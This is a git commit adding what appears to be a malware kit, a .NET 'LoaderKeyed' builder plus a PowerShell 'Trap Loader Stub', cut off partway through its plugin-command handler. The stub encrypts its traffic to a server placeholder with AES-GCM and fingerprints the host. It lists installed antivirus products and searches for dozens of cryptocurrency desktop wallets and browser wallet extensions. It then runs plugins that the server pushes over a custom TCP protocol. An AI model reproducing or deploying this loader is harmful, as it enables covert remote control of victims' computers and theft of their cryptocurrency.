commit 6f01544adfc1665276016eb73a4f3880ad9387be Author: i2p Date: Thu Aug 27 11:00:56 2026 -0600 initial commit diff --git a/.DS_Store b/.DS_Store new file mode 100644 index 0000000..5011bd2 Binary files /dev/null and b/.DS_Store differ diff --git a/LoaderKeyed.deps.json b/LoaderKeyed.deps.json new file mode 100644 index 0000000..9e54582 --- /dev/null +++ b/LoaderKeyed.deps.json @@ -0,0 +1,220 @@ +{ + "runtimeTarget": { + "name": ".NETCoreApp,Version=v8.0", + "signature": "" + }, + "compilationOptions": {}, + "targets": { + ".NETCoreApp,Version=v8.0": { + "LoaderKeyed/1.0.0": { + "dependencies": { + "Microsoft.CodeAnalysis.CSharp": "5.0.0", + "Newtonsoft.Json": "13.0.4", + "System.Management": "8.0.0" + }, + "runtime": { + "LoaderKeyed.dll": {} + } + }, + "Microsoft.CodeAnalysis.Common/5.0.0": { + "dependencies": { + "System.Collections.Immutable": "9.0.0", + "System.Reflection.Metadata": "9.0.0" + }, + "runtime": { + "lib/net8.0/Microsoft.CodeAnalysis.dll": { + "assemblyVersion": "5.0.0.0", + "fileVersion": "5.0.25.56712" + } + }, + "resources": { + "lib/net8.0/cs/Microsoft.CodeAnalysis.resources.dll": { + "locale": "cs" + }, + "lib/net8.0/de/Microsoft.CodeAnalysis.resources.dll": { + "locale": "de" + }, + "lib/net8.0/es/Microsoft.CodeAnalysis.resources.dll": { + "locale": "es" + }, + "lib/net8.0/fr/Microsoft.CodeAnalysis.resources.dll": { + "locale": "fr" + }, + "lib/net8.0/it/Microsoft.CodeAnalysis.resources.dll": { + "locale": "it" + }, + "lib/net8.0/ja/Microsoft.CodeAnalysis.resources.dll": { + "locale": "ja" + }, + "lib/net8.0/ko/Microsoft.CodeAnalysis.resources.dll": { + "locale": "ko" + }, + "lib/net8.0/pl/Microsoft.CodeAnalysis.resources.dll": { + "locale": "pl" + }, + "lib/net8.0/pt-BR/Microsoft.CodeAnalysis.resources.dll": { + "locale": "pt-BR" + }, + "lib/net8.0/ru/Microsoft.CodeAnalysis.resources.dll": { + "locale": "ru" + }, + "lib/net8.0/tr/Microsoft.CodeAnalysis.resources.dll": { + "locale": "tr" + }, + "lib/net8.0/zh-Hans/Microsoft.CodeAnalysis.resources.dll": { + "locale": "zh-Hans" + }, + "lib/net8.0/zh-Hant/Microsoft.CodeAnalysis.resources.dll": { + "locale": "zh-Hant" + } + } + }, + "Microsoft.CodeAnalysis.CSharp/5.0.0": { + "dependencies": { + "Microsoft.CodeAnalysis.Common": "5.0.0", + "System.Collections.Immutable": "9.0.0", + "System.Reflection.Metadata": "9.0.0" + }, + "runtime": { + "lib/net8.0/Microsoft.CodeAnalysis.CSharp.dll": { + "assemblyVersion": "5.0.0.0", + "fileVersion": "5.0.25.56712" + } + }, + "resources": { + "lib/net8.0/cs/Microsoft.CodeAnalysis.CSharp.resources.dll": { + "locale": "cs" + }, + "lib/net8.0/de/Microsoft.CodeAnalysis.CSharp.resources.dll": { + "locale": "de" + }, + "lib/net8.0/es/Microsoft.CodeAnalysis.CSharp.resources.dll": { + "locale": "es" + }, + "lib/net8.0/fr/Microsoft.CodeAnalysis.CSharp.resources.dll": { + "locale": "fr" + }, + "lib/net8.0/it/Microsoft.CodeAnalysis.CSharp.resources.dll": { + "locale": "it" + }, + "lib/net8.0/ja/Microsoft.CodeAnalysis.CSharp.resources.dll": { + "locale": "ja" + }, + "lib/net8.0/ko/Microsoft.CodeAnalysis.CSharp.resources.dll": { + "locale": "ko" + }, + "lib/net8.0/pl/Microsoft.CodeAnalysis.CSharp.resources.dll": { + "locale": "pl" + }, + "lib/net8.0/pt-BR/Microsoft.CodeAnalysis.CSharp.resources.dll": { + "locale": "pt-BR" + }, + "lib/net8.0/ru/Microsoft.CodeAnalysis.CSharp.resources.dll": { + "locale": "ru" + }, + "lib/net8.0/tr/Microsoft.CodeAnalysis.CSharp.resources.dll": { + "locale": "tr" + }, + "lib/net8.0/zh-Hans/Microsoft.CodeAnalysis.CSharp.resources.dll": { + "locale": "zh-Hans" + }, + "lib/net8.0/zh-Hant/Microsoft.CodeAnalysis.CSharp.resources.dll": { + "locale": "zh-Hant" + } + } + }, + "Newtonsoft.Json/13.0.4": { + "runtime": { + "lib/net6.0/Newtonsoft.Json.dll": { + "assemblyVersion": "13.0.0.0", + "fileVersion": "13.0.4.30916" + } + } + }, + "System.Collections.Immutable/9.0.0": { + "runtime": { + "lib/net8.0/System.Collections.Immutable.dll": { + "assemblyVersion": "9.0.0.0", + "fileVersion": "9.0.24.52809" + } + } + }, + "System.Management/8.0.0": { + "runtime": { + "lib/net8.0/System.Management.dll": { + "assemblyVersion": "8.0.0.0", + "fileVersion": "8.0.23.53103" + } + }, + "runtimeTargets": { + "runtimes/win/lib/net8.0/System.Management.dll": { + "rid": "win", + "assetType": "runtime", + "assemblyVersion": "8.0.0.0", + "fileVersion": "8.0.23.53103" + } + } + }, + "System.Reflection.Metadata/9.0.0": { + "dependencies": { + "System.Collections.Immutable": "9.0.0" + }, + "runtime": { + "lib/net8.0/System.Reflection.Metadata.dll": { + "assemblyVersion": "9.0.0.0", + "fileVersion": "9.0.24.52809" + } + } + } + } + }, + "libraries": { + "LoaderKeyed/1.0.0": { + "type": "project", + "serviceable": false, + "sha512": "" + }, + "Microsoft.CodeAnalysis.Common/5.0.0": { + "type": "package", + "serviceable": true, + "sha512": "sha512-ZXRAdvH6GiDeHRyd3q/km8Z44RoM6FBWHd+gen/la81mVnAdHTEsEkO5J0TCNXBymAcx5UYKt5TvgKBhaLJEow==", + "path": "microsoft.codeanalysis.common/5.0.0", + "hashPath": "microsoft.codeanalysis.common.5.0.0.nupkg.sha512" + }, + "Microsoft.CodeAnalysis.CSharp/5.0.0": { + "type": "package", + "serviceable": true, + "sha512": "sha512-5DSyJ9bk+ATuDy7fp2Zt0mJStDVKbBoiz1DyfAwSa+k4H4IwykAUcV3URelw5b8/iVbfSaOwkwmPUZH6opZKCw==", + "path": "microsoft.codeanalysis.csharp/5.0.0", + "hashPath": "microsoft.codeanalysis.csharp.5.0.0.nupkg.sha512" + }, + "Newtonsoft.Json/13.0.4": { + "type": "package", + "serviceable": true, + "sha512": "sha512-pdgNNMai3zv51W5aq268sujXUyx7SNdE2bj1wZcWjAQrKMFZV260lbqYop1d2GM67JI1huLRwxo9ZqnfF/lC6A==", + "path": "newtonsoft.json/13.0.4", + "hashPath": "newtonsoft.json.13.0.4.nupkg.sha512" + }, + "System.Collections.Immutable/9.0.0": { + "type": "package", + "serviceable": true, + "sha512": "sha512-QhkXUl2gNrQtvPmtBTQHb0YsUrDiDQ2QS09YbtTTiSjGcf7NBqtYbrG/BE06zcBPCKEwQGzIv13IVdXNOSub2w==", + "path": "system.collections.immutable/9.0.0", + "hashPath": "system.collections.immutable.9.0.0.nupkg.sha512" + }, + "System.Management/8.0.0": { + "type": "package", + "serviceable": true, + "sha512": "sha512-jrK22i5LRzxZCfGb+tGmke2VH7oE0DvcDlJ1HAKYU8cPmD8XnpUT0bYn2Gy98GEhGjtfbR/sxKTVb+dE770pfA==", + "path": "system.management/8.0.0", + "hashPath": "system.management.8.0.0.nupkg.sha512" + }, + "System.Reflection.Metadata/9.0.0": { + "type": "package", + "serviceable": true, + "sha512": "sha512-ANiqLu3DxW9kol/hMmTWbt3414t9ftdIuiIU7j80okq2YzAueo120M442xk1kDJWtmZTqWQn7wHDvMRipVOEOQ==", + "path": "system.reflection.metadata/9.0.0", + "hashPath": "system.reflection.metadata.9.0.0.nupkg.sha512" + } + } +} \ No newline at end of file diff --git a/LoaderKeyed.dll b/LoaderKeyed.dll new file mode 100644 index 0000000..33f0297 Binary files /dev/null and b/LoaderKeyed.dll differ diff --git a/LoaderKeyed.exe b/LoaderKeyed.exe new file mode 100755 index 0000000..4b91898 Binary files /dev/null and b/LoaderKeyed.exe differ diff --git a/LoaderKeyed.pdb b/LoaderKeyed.pdb new file mode 100644 index 0000000..6d35a70 Binary files /dev/null and b/LoaderKeyed.pdb differ diff --git a/LoaderKeyed.runtimeconfig.json b/LoaderKeyed.runtimeconfig.json new file mode 100644 index 0000000..a31b964 --- /dev/null +++ b/LoaderKeyed.runtimeconfig.json @@ -0,0 +1,18 @@ +{ + "runtimeOptions": { + "tfm": "net8.0", + "frameworks": [ + { + "name": "Microsoft.NETCore.App", + "version": "8.0.0" + }, + { + "name": "Microsoft.WindowsDesktop.App", + "version": "8.0.0" + } + ], + "configProperties": { + "CSWINRT_USE_WINDOWS_UI_XAML_PROJECTIONS": false + } + } +} \ No newline at end of file diff --git a/Microsoft.CodeAnalysis.CSharp.dll b/Microsoft.CodeAnalysis.CSharp.dll new file mode 100644 index 0000000..9d37f35 Binary files /dev/null and b/Microsoft.CodeAnalysis.CSharp.dll differ diff --git a/Microsoft.CodeAnalysis.dll b/Microsoft.CodeAnalysis.dll new file mode 100644 index 0000000..37b5dfb Binary files /dev/null and b/Microsoft.CodeAnalysis.dll differ diff --git a/Newtonsoft.Json.dll b/Newtonsoft.Json.dll new file mode 100644 index 0000000..5813d8c Binary files /dev/null and b/Newtonsoft.Json.dll differ diff --git a/PSStub/PSStub_Direct.ps1 b/PSStub/PSStub_Direct.ps1 new file mode 100644 index 0000000..b80ac83 --- /dev/null +++ b/PSStub/PSStub_Direct.ps1 @@ -0,0 +1,1056 @@ +# Trap Loader Stub - TCP Binary Client with AES-256-GCM +# Placeholders are replaced at build time by the Builder + +$serverUrl = "{{SERVER_URL}}" +$httpPassword = "{{PASSWORD}}" +$encryptionKey = "{{ENCRYPTION_KEY}}" + +# ==================== AES-256-GCM VIA WINDOWS BCRYPT ==================== + +Add-Type -TypeDefinition @" +using System; +using System.IO; +using System.Runtime.InteropServices; +using System.Security.Cryptography; +using System.Text; + +public static class AesGcmHelper +{ + private const int SaltSize = 16; + private const int NonceSize = 12; + private const int TagSize = 16; + private const int KeySize = 32; + private const int Pbkdf2Iterations = 100000; + private const int MinEncryptedSize = SaltSize + NonceSize + TagSize + 1; + + [DllImport("bcrypt.dll", CharSet = CharSet.Unicode)] + private static extern int BCryptOpenAlgorithmProvider( + out IntPtr phAlgorithm, string pszAlgId, string pszImplementation, uint dwFlags); + + [DllImport("bcrypt.dll")] + private static extern int BCryptCloseAlgorithmProvider(IntPtr hAlgorithm, uint dwFlags); + + [DllImport("bcrypt.dll", CharSet = CharSet.Unicode)] + private static extern int BCryptSetProperty( + IntPtr hObject, string pszProperty, byte[] pbInput, int cbInput, uint dwFlags); + + [DllImport("bcrypt.dll")] + private static extern int BCryptGenerateSymmetricKey( + IntPtr hAlgorithm, out IntPtr phKey, IntPtr pbKeyObject, int cbKeyObject, + byte[] pbSecret, int cbSecret, uint dwFlags); + + [DllImport("bcrypt.dll")] + private static extern int BCryptDestroyKey(IntPtr hKey); + + [DllImport("bcrypt.dll")] + private static extern int BCryptEncrypt( + IntPtr hKey, byte[] pbInput, int cbInput, IntPtr pPaddingInfo, + byte[] pbIV, int cbIV, byte[] pbOutput, int cbOutput, + out int pcbResult, uint dwFlags); + + [DllImport("bcrypt.dll")] + private static extern int BCryptDecrypt( + IntPtr hKey, byte[] pbInput, int cbInput, IntPtr pPaddingInfo, + byte[] pbIV, int cbIV, byte[] pbOutput, int cbOutput, + out int pcbResult, uint dwFlags); + + [StructLayout(LayoutKind.Sequential)] + private struct BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO + { + public int cbSize; + public int dwInfoVersion; + public IntPtr pbNonce; + public int cbNonce; + public IntPtr pbAuthData; + public int cbAuthData; + public IntPtr pbTag; + public int cbTag; + public IntPtr pbMacContext; + public int cbMacContext; + public int cbAAD; + public long cbData; + public int dwFlags; + } + + private const string BCRYPT_AES_ALGORITHM = "AES"; + private const string BCRYPT_CHAINING_MODE = "ChainingMode"; + private const string BCRYPT_CHAIN_MODE_GCM = "ChainingModeGCM"; + private const int STATUS_SUCCESS = 0; + + private static byte[] DeriveKey(string password, byte[] salt) + { + using (var pbkdf2 = new Rfc2898DeriveBytes(password, salt, Pbkdf2Iterations, + HashAlgorithmName.SHA256)) + { + return pbkdf2.GetBytes(KeySize); + } + } + + private static byte[] GcmEncrypt(byte[] key, byte[] nonce, byte[] plaintext, out byte[] tag) + { + IntPtr hAlg = IntPtr.Zero; + IntPtr hKey = IntPtr.Zero; + tag = new byte[TagSize]; + + try + { + int status = BCryptOpenAlgorithmProvider(out hAlg, BCRYPT_AES_ALGORITHM, null, 0); + if (status != STATUS_SUCCESS) + throw new CryptographicException("BCryptOpenAlgorithmProvider failed: " + status); + + byte[] chainMode = Encoding.Unicode.GetBytes(BCRYPT_CHAIN_MODE_GCM); + status = BCryptSetProperty(hAlg, BCRYPT_CHAINING_MODE, chainMode, chainMode.Length, 0); + if (status != STATUS_SUCCESS) + throw new CryptographicException("BCryptSetProperty failed: " + status); + + status = BCryptGenerateSymmetricKey(hAlg, out hKey, IntPtr.Zero, 0, key, key.Length, 0); + if (status != STATUS_SUCCESS) + throw new CryptographicException("BCryptGenerateSymmetricKey failed: " + status); + + byte[] ciphertext = new byte[plaintext.Length]; + byte[] ivCopy = (byte[])nonce.Clone(); + + var authInfo = new BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO(); + authInfo.cbSize = Marshal.SizeOf(authInfo); + authInfo.dwInfoVersion = 1; + + GCHandle nonceHandle = GCHandle.Alloc(ivCopy, GCHandleType.Pinned); + GCHandle tagHandle = GCHandle.Alloc(tag, GCHandleType.Pinned); + + try + { + authInfo.pbNonce = nonceHandle.AddrOfPinnedObject(); + authInfo.cbNonce = ivCopy.Length; + authInfo.pbTag = tagHandle.AddrOfPinnedObject(); + authInfo.cbTag = TagSize; + + IntPtr pAuthInfo = Marshal.AllocHGlobal(Marshal.SizeOf(authInfo)); + try + { + Marshal.StructureToPtr(authInfo, pAuthInfo, false); + + int bytesWritten; + status = BCryptEncrypt(hKey, plaintext, plaintext.Length, pAuthInfo, + null, 0, ciphertext, ciphertext.Length, out bytesWritten, 0); + if (status != STATUS_SUCCESS) + throw new CryptographicException("BCryptEncrypt failed: " + status); + } + finally + { + Marshal.FreeHGlobal(pAuthInfo); + } + } + finally + { + nonceHandle.Free(); + tagHandle.Free(); + } + + return ciphertext; + } + finally + { + if (hKey != IntPtr.Zero) BCryptDestroyKey(hKey); + if (hAlg != IntPtr.Zero) BCryptCloseAlgorithmProvider(hAlg, 0); + } + } + + private static byte[] GcmDecrypt(byte[] key, byte[] nonce, byte[] ciphertext, byte[] tag) + { + IntPtr hAlg = IntPtr.Zero; + IntPtr hKey = IntPtr.Zero; + + try + { + int status = BCryptOpenAlgorithmProvider(out hAlg, BCRYPT_AES_ALGORITHM, null, 0); + if (status != STATUS_SUCCESS) + throw new CryptographicException("BCryptOpenAlgorithmProvider failed: " + status); + + byte[] chainMode = Encoding.Unicode.GetBytes(BCRYPT_CHAIN_MODE_GCM); + status = BCryptSetProperty(hAlg, BCRYPT_CHAINING_MODE, chainMode, chainMode.Length, 0); + if (status != STATUS_SUCCESS) + throw new CryptographicException("BCryptSetProperty failed: " + status); + + status = BCryptGenerateSymmetricKey(hAlg, out hKey, IntPtr.Zero, 0, key, key.Length, 0); + if (status != STATUS_SUCCESS) + throw new CryptographicException("BCryptGenerateSymmetricKey failed: " + status); + + byte[] plaintext = new byte[ciphertext.Length]; + byte[] ivCopy = (byte[])nonce.Clone(); + byte[] tagCopy = (byte[])tag.Clone(); + + var authInfo = new BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO(); + authInfo.cbSize = Marshal.SizeOf(authInfo); + authInfo.dwInfoVersion = 1; + + GCHandle nonceHandle = GCHandle.Alloc(ivCopy, GCHandleType.Pinned); + GCHandle tagHandle = GCHandle.Alloc(tagCopy, GCHandleType.Pinned); + + try + { + authInfo.pbNonce = nonceHandle.AddrOfPinnedObject(); + authInfo.cbNonce = ivCopy.Length; + authInfo.pbTag = tagHandle.AddrOfPinnedObject(); + authInfo.cbTag = tagCopy.Length; + + IntPtr pAuthInfo = Marshal.AllocHGlobal(Marshal.SizeOf(authInfo)); + try + { + Marshal.StructureToPtr(authInfo, pAuthInfo, false); + + int bytesWritten; + status = BCryptDecrypt(hKey, ciphertext, ciphertext.Length, pAuthInfo, + null, 0, plaintext, plaintext.Length, out bytesWritten, 0); + if (status != STATUS_SUCCESS) + throw new CryptographicException("GCM tag verification failed"); + } + finally + { + Marshal.FreeHGlobal(pAuthInfo); + } + } + finally + { + nonceHandle.Free(); + tagHandle.Free(); + } + + return plaintext; + } + finally + { + if (hKey != IntPtr.Zero) BCryptDestroyKey(hKey); + if (hAlg != IntPtr.Zero) BCryptCloseAlgorithmProvider(hAlg, 0); + } + } + + public static byte[] Encrypt(string plainText, string password) + { + byte[] plainBytes = Encoding.UTF8.GetBytes(plainText); + return EncryptBytes(plainBytes, password); + } + + public static byte[] EncryptBytes(byte[] plainBytes, string password) + { + byte[] salt = new byte[SaltSize]; + byte[] nonce = new byte[NonceSize]; + + using (var rng = RandomNumberGenerator.Create()) + { + rng.GetBytes(salt); + rng.GetBytes(nonce); + } + + byte[] key = DeriveKey(password, salt); + byte[] tag; + byte[] cipherText = GcmEncrypt(key, nonce, plainBytes, out tag); + + byte[] result = new byte[SaltSize + NonceSize + TagSize + cipherText.Length]; + int offset = 0; + + Buffer.BlockCopy(salt, 0, result, offset, SaltSize); + offset += SaltSize; + Buffer.BlockCopy(nonce, 0, result, offset, NonceSize); + offset += NonceSize; + Buffer.BlockCopy(tag, 0, result, offset, TagSize); + offset += TagSize; + Buffer.BlockCopy(cipherText, 0, result, offset, cipherText.Length); + + return result; + } + + public static string DecryptToString(byte[] encryptedBytes, string password) + { + byte[] plainBytes = DecryptToBytes(encryptedBytes, password); + if (plainBytes == null) return null; + return Encoding.UTF8.GetString(plainBytes); + } + + public static byte[] DecryptToBytes(byte[] encryptedBytes, string password) + { + if (encryptedBytes == null || encryptedBytes.Length < MinEncryptedSize) + return null; + + int offset = 0; + + byte[] salt = new byte[SaltSize]; + Buffer.BlockCopy(encryptedBytes, offset, salt, 0, SaltSize); + offset += SaltSize; + + byte[] nonce = new byte[NonceSize]; + Buffer.BlockCopy(encryptedBytes, offset, nonce, 0, NonceSize); + offset += NonceSize; + + byte[] tag = new byte[TagSize]; + Buffer.BlockCopy(encryptedBytes, offset, tag, 0, TagSize); + offset += TagSize; + + int cipherLen = encryptedBytes.Length - offset; + byte[] cipherText = new byte[cipherLen]; + Buffer.BlockCopy(encryptedBytes, offset, cipherText, 0, cipherLen); + + byte[] key = DeriveKey(password, salt); + + try + { + return GcmDecrypt(key, nonce, cipherText, tag); + } + catch (CryptographicException) + { + return null; + } + } +} +"@ -ReferencedAssemblies @('System.dll') -ErrorAction Stop + +# ==================== ENCRYPTION WRAPPERS ==================== + +function Encrypt-Payload { + param([string]$PlainText, [string]$Key) + return [AesGcmHelper]::Encrypt($PlainText, $Key) +} + +function Decrypt-Bytes { + param([byte[]]$CipherBytes, [string]$Key) + return [AesGcmHelper]::DecryptToBytes($CipherBytes, $Key) +} + +# ==================== SYSTEM INFO ==================== + +function Get-MachineFingerprint { + try { + $cpuId = Get-CimInstance -ClassName Win32_Processor -ErrorAction Stop | + Select-Object -First 1 -ExpandProperty ProcessorId + $biosId = Get-CimInstance -ClassName Win32_BIOS -ErrorAction Stop | + Select-Object -ExpandProperty SerialNumber + $mainboardId = Get-CimInstance -ClassName Win32_BaseBoard -ErrorAction Stop | + Select-Object -ExpandProperty SerialNumber + + $fingerprint = "$cpuId-$biosId-$mainboardId" + $sha = [System.Security.Cryptography.SHA256]::Create() + $hashBytes = $sha.ComputeHash([Text.Encoding]::UTF8.GetBytes($fingerprint)) + $sha.Dispose() + return [BitConverter]::ToString($hashBytes).Replace("-", "") + } + catch { + return [Guid]::NewGuid().ToString().Replace("-", "").ToUpper() + } +} + +function Get-WindowsVersion { + try { + $os = [System.Environment]::OSVersion.Version + switch ($os.Major) { + 10 { + if ($os.Build -ge 22000) { return "Windows 11" } + return "Windows 10" + } + 6 { + switch ($os.Minor) { + 3 { return "Windows 8.1" } + 2 { return "Windows 8" } + 1 { return "Windows 7" } + 0 { return "Windows Vista" } + } + } + default { return "Windows $($os.Major).$($os.Minor)" } + } + } + catch { return "Unknown" } +} + +function Get-SpecificAntivirus { + $avProducts = @() + $avPaths = @{ + "Norton" = "SOFTWARE\Norton" + "McAfee" = "SOFTWARE\McAfee" + "Kaspersky" = "SOFTWARE\Kaspersky Lab" + "Bitdefender" = "SOFTWARE\Bitdefender" + "Avast" = "SOFTWARE\AVAST Software" + "AVG" = "SOFTWARE\AVG Technologies" + "Windows Defender" = "SOFTWARE\Microsoft\Windows Defender" + "ESET" = "SOFTWARE\ESET" + "Malwarebytes" = "SOFTWARE\Malwarebytes" + "Trend Micro" = "SOFTWARE\TrendMicro" + "Sophos" = "SOFTWARE\Sophos" + "Webroot" = "SOFTWARE\WRData" + } + foreach ($av in $avPaths.GetEnumerator()) { + try { + if (Get-Item -Path "HKLM:\$($av.Value)" -ErrorAction SilentlyContinue) { + $avProducts += $av.Key + } + } catch { } + } + if ($avProducts.Count -eq 0) { return "None" } + return ($avProducts | Select-Object -Unique) -join ", " +} + +function Get-WalletNames { + $walletNames = @() + + $walletPaths = @{ + "Armory" = "$env:APPDATA\Armory" + "Atomic" = "$env:APPDATA\Atomic\Local Storage\leveldb" + "Bitcoin" = "$env:APPDATA\Bitcoin\wallets" + "Bytecoin" = "$env:APPDATA\bytecoin" + "Coinomi" = "$env:LOCALAPPDATA\Coinomi\Coinomi\wallets" + "Dash" = "$env:APPDATA\DashCore\wallets" + "Electrum" = "$env:APPDATA\Electrum\wallets" + "Ethereum" = "$env:APPDATA\Ethereum\keystore" + "Exodus" = "$env:APPDATA\Exodus\exodus.wallet" + "Guarda" = "$env:APPDATA\Guarda\Local Storage\leveldb" + "Jaxx" = "$env:APPDATA\com.liberty.jaxx\IndexedDB" + "Litecoin" = "$env:APPDATA\Litecoin\wallets" + "Monero GUI" = "$env:USERPROFILE\Documents\Monero\wallets" + "WalletWasabi" = "$env:APPDATA\WalletWasabi\Client\Wallets" + "Ledger Live" = "$env:APPDATA\Ledger Live" + "Trezor Suite" = "$env:APPDATA\@trezor\suite-desktop" + } + + foreach ($wallet in $walletPaths.GetEnumerator()) { + try { + if (Test-Path $wallet.Value) { + $walletNames += $wallet.Key + } + } catch { } + } + + $browserPaths = @{ + "Brave" = "$env:LOCALAPPDATA\BraveSoftware\Brave-Browser\User Data" + "Chrome" = "$env:LOCALAPPDATA\Google\Chrome\User Data" + "Edge" = "$env:LOCALAPPDATA\Microsoft\Edge\User Data" + "Opera" = "$env:APPDATA\Opera Software\Opera Stable" + "OperaGX" = "$env:APPDATA\Opera Software\Opera GX Stable" + "Vivaldi" = "$env:LOCALAPPDATA\Vivaldi\User Data" + "Chromium" = "$env:LOCALAPPDATA\Chromium\User Data" + } + + $walletDirs = @{ + "nkbihfbeogaeaoehlefnkodbefgpgknn" = "Metamask" + "ejbalbakoplchlghecdalmeeeajnimhm" = "Metamask2" + "odbfpeeihdkbihmopkbjmoonfanlbfcl" = "Coinbase" + "hifafgmccdpekplomjjkcfgodnhcellj" = "Crypto.com" + "bfnaelmomeimhlpmgjnjophhpkkoljpa" = "Phantom" + "ibnejdfjmmkpcnlpebklmnkoeoihofec" = "TronLink" + "egjidjbpglichdcondbcbdnbeeppgdph" = "Trust Wallet" + "dmkamcknogkgcdfhhbddcghachkejeap" = "Keplr" + "fhbohimaelbohpjbbldcngcnapndodjp" = "Binance Chain" + "afbcbjpbpfadlkmhmclhkeeodmamcflc" = "MathWallet" + "aholpfdialjgjfhomihkjbmgjidlcdno" = "ExodusWeb3" + "kkpllkodjeloidieedojogacfhpaihoh" = "Enkrypt" + "mcbigmjiafegjnnogedioegffbooigli" = "Ethos Sui" + "hpglfhgfnhbgpjdenjgmdgoeiappafln" = "Guarda Wallet" + "mcohilncbfahbmgdjkbpemcciiolgcge" = "OKX" + "jnmbobjmhlngoefaiojfljckilhhlhcj" = "OneKey" + "fnjhmkhhmkbjkkabndcnnogagogbneec" = "Ronin" + "lgmpcpglpngdoalbgeoldeajfclnhafa" = "SafePal" + "mfgccjchihfkkindfppnaooecgfneiii" = "TokenPocket" + "nphplpgoakhhjchkkhmiggakijnkhfnd" = "Ton" + "amkmjjmmflddogmhpjloimipbofnfjih" = "Wombat" + "dlcobpjiigpikoobohmabehhmhfoodbb" = "Argent X" + "jiidiaalihmmhddjgbnbgdfflelocpak" = "BitKeep" + "bopcbmipnjdcdfflfgjdgdjejmgpoaab" = "BlockWallet" + "heamnjbnflcikcggoiplibfommfbkjpj" = "Zeal" + } + + foreach ($browser in $browserPaths.GetEnumerator()) { + try { + if (Test-Path $browser.Value) { + foreach ($wd in $walletDirs.GetEnumerator()) { + $extPath = Join-Path $browser.Value "Default\Local Extension Settings\$($wd.Key)" + $extPath2 = Join-Path $browser.Value "Local Extension Settings\$($wd.Key)" + if ((Test-Path $extPath) -or (Test-Path $extPath2)) { + $walletNames += "$($wd.Value)" + } + } + } + } catch { } + } + + if ($walletNames.Count -eq 0) { return "None" } + return ($walletNames | Select-Object -Unique) -join ", " +} + +function Get-SystemInfo { + $osVer = Get-WindowsVersion + $machine = [System.Environment]::UserName + $av = Get-SpecificAntivirus + $wallets = Get-WalletNames + return "$osVer;$machine;$av;$wallets" +} + +# ==================== TCP BINARY PROTOCOL ==================== + +$MSG_AUTH = [byte]0x01 +$MSG_HEARTBEAT = [byte]0x02 +$MSG_CLIENT_INFO = [byte]0x03 +$MSG_PLUGIN_DATA = [byte]0x10 +$MSG_PLUGIN_BATCH = [byte]0x11 + +$MSG_AUTH_OK = [byte]0x81 +$MSG_AUTH_FAIL = [byte]0x82 +$MSG_HEARTBEAT_ACK = [byte]0x83 +$MSG_PLUGIN_CMD = [byte]0x90 +$MSG_FILE_TRANSFER = [byte]0x91 +$MSG_DISCONNECT = [byte]0xFF + +function Write-TcpMessage { + param( + [System.IO.Stream]$Stream, + [byte]$MsgType, + [byte[]]$Payload + ) + + $payloadLen = if ($Payload) { $Payload.Length } else { 0 } + $totalLen = 1 + $payloadLen + + $packet = New-Object byte[] (4 + $totalLen) + $packet[0] = [byte]($totalLen -band 0xFF) + $packet[1] = [byte](($totalLen -shr 8) -band 0xFF) + $packet[2] = [byte](($totalLen -shr 16) -band 0xFF) + $packet[3] = [byte](($totalLen -shr 24) -band 0xFF) + $packet[4] = $MsgType + + if ($Payload -and $Payload.Length -gt 0) { + [Array]::Copy($Payload, 0, $packet, 5, $Payload.Length) + } + + $Stream.Write($packet, 0, $packet.Length) + $Stream.Flush() +} + +function Read-TcpExact { + param( + [System.IO.Stream]$Stream, + [int]$Count + ) + + $buffer = New-Object byte[] $Count + $totalRead = 0 + + while ($totalRead -lt $Count) { + $read = $Stream.Read($buffer, $totalRead, $Count - $totalRead) + if ($read -le 0) { return $null } + $totalRead += $read + } + + return $buffer +} + +function Read-TcpMessage { + param([System.IO.Stream]$Stream) + + $lenBuf = Read-TcpExact -Stream $Stream -Count 4 + if ($null -eq $lenBuf) { return $null } + + $totalLen = [int]$lenBuf[0] -bor + ([int]$lenBuf[1] -shl 8) -bor + ([int]$lenBuf[2] -shl 16) -bor + ([int]$lenBuf[3] -shl 24) + + if ($totalLen -le 0 -or $totalLen -gt 5242880) { + return $null + } + + $msgBuf = Read-TcpExact -Stream $Stream -Count $totalLen + if ($null -eq $msgBuf) { return $null } + + $msgType = $msgBuf[0] + $payload = $null + + if ($totalLen -gt 1) { + $payload = New-Object byte[] ($totalLen - 1) + [Array]::Copy($msgBuf, 1, $payload, 0, $totalLen - 1) + } + + return @{ Type = $msgType; Payload = $payload } +} + +# ==================== PLUGIN ENGINE ==================== + +Add-Type -TypeDefinition @" +using System; +using System.Collections.Concurrent; +using System.IO; +using System.Threading; +using System.Threading.Tasks; + +public class PluginRunner +{ + public ConcurrentQueue InQueue = new ConcurrentQueue(); + public ConcurrentQueue OutQueue = new ConcurrentQueue(); + public CancellationTokenSource Cts = new CancellationTokenSource(); + public Thread WorkerThread; + public Exception LastError; + public volatile bool Running; + + public void Start(object pluginInstance) + { + Running = true; + WorkerThread = new Thread(() => + { + try + { + Func sendFunc = (data) => + { + OutQueue.Enqueue(data); + return Task.CompletedTask; + }; + + Func> receiveFunc = () => + { + while (!Cts.IsCancellationRequested) + { + byte[] item; + if (InQueue.TryDequeue(out item)) + return Task.FromResult(item); + Thread.Sleep(5); + } + return Task.FromResult(null); + }; + + var runMethod = pluginInstance.GetType().GetMethod("Run"); + if (runMethod == null) + { + LastError = new Exception("Plugin has no Run method"); + return; + } + + var task = (Task)runMethod.Invoke(pluginInstance, new object[] { sendFunc, receiveFunc }); + task.GetAwaiter().GetResult(); + } + catch (Exception ex) { LastError = ex; } + finally { Running = false; } + }); + WorkerThread.IsBackground = true; + WorkerThread.Name = "PluginWorker"; + WorkerThread.Start(); + } + + public void Stop() + { + try { Cts.Cancel(); } catch { } + try { if (WorkerThread != null && WorkerThread.IsAlive) WorkerThread.Join(3000); } catch { } + Running = false; + } + + public int GetOutQueueCount() { return OutQueue.Count; } + + public void ClearOutQueue() + { + byte[] discard; + while (OutQueue.TryDequeue(out discard)) { } + } +} +"@ -ReferencedAssemblies @('System.dll') -ErrorAction Stop + +$global:ActivePlugins = @{} + +# ==================== PLUGIN FUNCTIONS ==================== + +function Invoke-PluginCommand { + param([string]$PluginId, [int]$CmdType, [byte[]]$Data) + + switch ($CmdType) { + 0 { + Write-Host "$(Get-Date -Format 'HH:mm:ss') - [Plugin] Loading: $PluginId" -ForegroundColor Magenta + if ($global:ActivePlugins.ContainsKey($PluginId)) { Stop-Plugin -PluginId $PluginId } + try { + $code = 